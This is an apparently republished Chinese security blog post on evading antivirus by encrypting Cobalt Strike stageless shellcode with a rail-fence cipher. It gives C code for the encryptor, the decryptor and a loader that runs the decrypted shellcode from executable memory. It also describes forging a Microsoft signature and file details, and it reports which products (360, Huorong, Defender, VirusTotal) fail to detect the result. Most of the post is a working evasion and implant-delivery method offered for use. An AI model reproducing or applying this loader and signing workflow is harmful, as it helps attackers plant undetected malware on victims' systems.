栅栏之下的策略:免杀马中的密码艺术

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

前言

今天再给大家分享一个有意思的密码,栅栏密码。栅栏密码(Fence Cipher),也称为栅栏加密或Z字形加密,是一种简单的文本转换加密方法。在这种加密方式中,原始文本按照一定的规则(通常是Z字形或波浪形)分布在多行中,然后按行或列的顺序重新排列来形成加密文本。

具体如何使用呢?举个例子吧,当明文为【password】时,明文共有8个字符。将奇数位字符写成一行:pawr,将偶数位字符写成另一行:asod,将两行字符相接,得到【pawrasod】则为密文。解密方法:当密文为【answer】时,密文有6个字符。将其拆分为2行,第一行:ans,第二行wer,第一行字符与第二行字符交替穿插组合,得到【qwnesr】则为明文。在密码学中栅栏密码和恺撒密码一样属于安全性较低的密码,非常容易被破解。但是如果将这种密码应用在对抗杀软上,又会有什么效果呢?一起来探索吧!

免杀过程

首先我们要使用栅栏密码写一个加密代码,对cs生成的shellcode进行处理,避免杀软检测到shellcode的特征,查杀我们的exe文件,这次实验用的是stageless的shellcode,stageless的木马不需要向服务器下载额外的载荷,而stage的木马需要向服务器下载真正的有效载荷,相比较而言,stage木马初始载荷小,便于隐藏和传输;而stageless木马包含了完整的载荷,减少了cs服务器泄露的风险。具体选择什么,受攻击目标和环境的影响。我平时喜欢用stage,之前也是用stage做的实验,这次就用一下stageless木马吧,使用cs直接生成stageless的64位paylaod

栅栏之下的策略:免杀马中的密码艺术

查看payload,为16进制数组格式的shellcode

栅栏之下的策略:免杀马中的密码艺术

这个原始的shellcode很大,所以无法直接复制到vs进行处理,否则执行会提示字符串太大,这里选择从文件中加载,为了方便从文件读取,我直接在文件存放shellcode数组的内容,内容如下

栅栏之下的策略:免杀马中的密码艺术

加密代码如下,先对16进制字符串进行处理转换成字节,接着使用栅栏密码将明文shellcode分成两组,奇数为一组,偶数为一组,拼接后得到密文,将密文保存到result.txt文件中

#include <stdio.h>#include <stdlib.h>#include <string.h>
void fenceCipherEncrypt(unsigned char* input, int inputLength, int rows, FILE* outFile) { int cycle = 2 * rows - 2; for (int i = 0; i < rows; i++) { for (int j = 0; j + i < inputLength; j += cycle) { fprintf(outFile, "\x%02x", input[j + i]); if (i != 0 && i != rows - 1 && j + cycle - i < inputLength) { fprintf(outFile, "\x%02x", input[j + cycle - i]); } } }}
unsigned char hexToByte(const char* hex) { unsigned int byte; sscanf_s(hex, "%2x", &byte); return (unsigned char)byte;}
int main() { FILE* file, * outFile; errno_t err = fopen_s(&file, "C:\Users\Administrator\Desktop\1.txt", "r"); if (err != 0) { perror("Error opening file"); return 1; }
fseek(file, 0, SEEK_END); long fsize = ftell(file); fseek(file, 0, SEEK_SET);
char* hexShellcode = (char*)malloc(fsize + 1); fread(hexShellcode, 1, fsize, file); fclose(file);
hexShellcode[fsize] = 0;
unsigned char* shellcode = (unsigned char*)malloc(fsize / 2 + 1); int j = 0; for (int i = 0; i < fsize; i += 2) { if (hexShellcode[i] == '\' && hexShellcode[i + 1] == 'x') { i += 2; } shellcode[j++] = hexToByte(&hexShellcode[i]); } shellcode[j] = 0;
int rows = 2; // Change this to the desired number of rows
err = fopen_s(&outFile, "result.txt", "w"); if (err != 0) { perror("Error opening output file"); free(hexShellcode); free(shellcode); return 1; }
fenceCipherEncrypt(shellcode, j, rows, outFile); fclose(outFile);
free(hexShellcode); free(shellcode); return 0;}

加密完成会生成result.txt文件,打开加密后的内容如下

栅栏之下的策略:免杀马中的密码艺术接着就是写shellcode_loader对加密后的shellcode进行解密并执行,解密函数

// 解密函数void fenceCipherDecrypt(unsigned char* input, int inputLength, int rows, unsigned char* output) {    int cycle = 2 * rows - 2;    int index = 0;    for (int i = 0; i < rows; i++) {        for (int j = 0; j + i < inputLength; j += cycle) {            output[j + i] = input[index++];            if (i != 0 && i != rows - 1 && j + cycle - i < inputLength) {                output[j + cycle - i] = input[index++];            }        }    }    printf("Decryption complete.n");}

这里进行解密时需要注意,使用栅栏密码加密和解密的分组数要保持一致,可以先把解密的数据保存到文件中与原文件进行比较,确认解密无误再执行,我这里就踩坑了,因为我加密后的结果也是16进制格式的字符串,所以同样要把字符串转成字节在进行解密,否则就会解密失败

unsigned char hexToByte(const char* hex) {    unsigned int byte;    sscanf_s(hex, "%2x", &byte);    return (unsigned char)byte;}

计算shellcode大小时也要注意,我们假设每4个字符代表一个字节(例如,x90),所以原始 shellcode 的长度是文件大小除以4。然后,对于每个 xhh 序列,我们从第三个字符开始读取两个字符并将其转换为一个字节。确认解密正常后,加入shellcode的执行代码

 // 将解密后的 Shellcode 复制到可执行内存区域    void* exec = VirtualAlloc(0, originalLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (exec == NULL) {        perror("VirtualAlloc failed");        free(decryptedShellcode);        return 1;    }
memcpy(exec, decryptedShellcode, originalLength); free(decryptedShellcode);
// 执行 Shellcode ((void(*)())exec)();

编译成功后,测试可以正常上线。因为这里exe需要有加密的txt才可以运行,就可以不添加反沙箱代码了,单独的exe无法执行。对exe再进行加工,打上详细信息、签名如下

栅栏之下的策略:免杀马中的密码艺术

栅栏之下的策略:免杀马中的密码艺术

免杀测试

360核晶环境

栅栏之下的策略:免杀马中的密码艺术

火绒环境

栅栏之下的策略:免杀马中的密码艺术

defender环境

发现丢到defender环境直接杀掉了,不要慌,看下这个报毒提示Trojan:Win32/Sabsik.FL.A!ml,不懂就问,问下gpt

栅栏之下的策略:免杀马中的密码艺术

栅栏之下的策略:免杀马中的密码艺术

怀疑是刚才打了微软的假签名被它发现了,使用未处理的exe执行,可以正常执行,该死的defender突然有了这么个规则,以后大家可以注意下,defender环境可以打别的签名试试

栅栏之下的策略:免杀马中的密码艺术

cs上线情况

栅栏之下的策略:免杀马中的密码艺术

栅栏之下的策略:免杀马中的密码艺术

VT检测

栅栏之下的策略:免杀马中的密码艺术

微步云沙箱检测

栅栏之下的策略:免杀马中的密码艺术

总结

  • 1、也许不需要太多绕过的技巧,就可以实现免杀,杀软的检测规则也仅仅对常规的算法做了检测,只要shellcode处理好它识别不出来,那免杀成功了一大半。看似简单的密码也许对杀软来说足够了,毕竟它无法做人的分析(终究还是机器),如果人为分析,可能很快就可以破译shellcode。大家都去试试吧,一定要合法合规!!!

  • 2、签名和详细信息处理工具可以公众号回复【自签名】获取。


点击下方名片进入公众号,欢迎关注!


往期推荐

技术幻影-揭开fscan免杀的面纱

红蓝对抗篇-记一次SQL注入上线CS

certutil之巧:绕过防御的艺术

峰回路转之mimikatz通杀杀软

PowerShell无文件落地绕过杀软上线CS

绕过360核晶防护创建用户+计划任务

原文始发于微信公众号(随风安全):栅栏之下的策略:免杀马中的密码艺术

版权声明:admin 发表于 2023年11月30日 下午5:53。
转载请注明:栅栏之下的策略:免杀马中的密码艺术 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...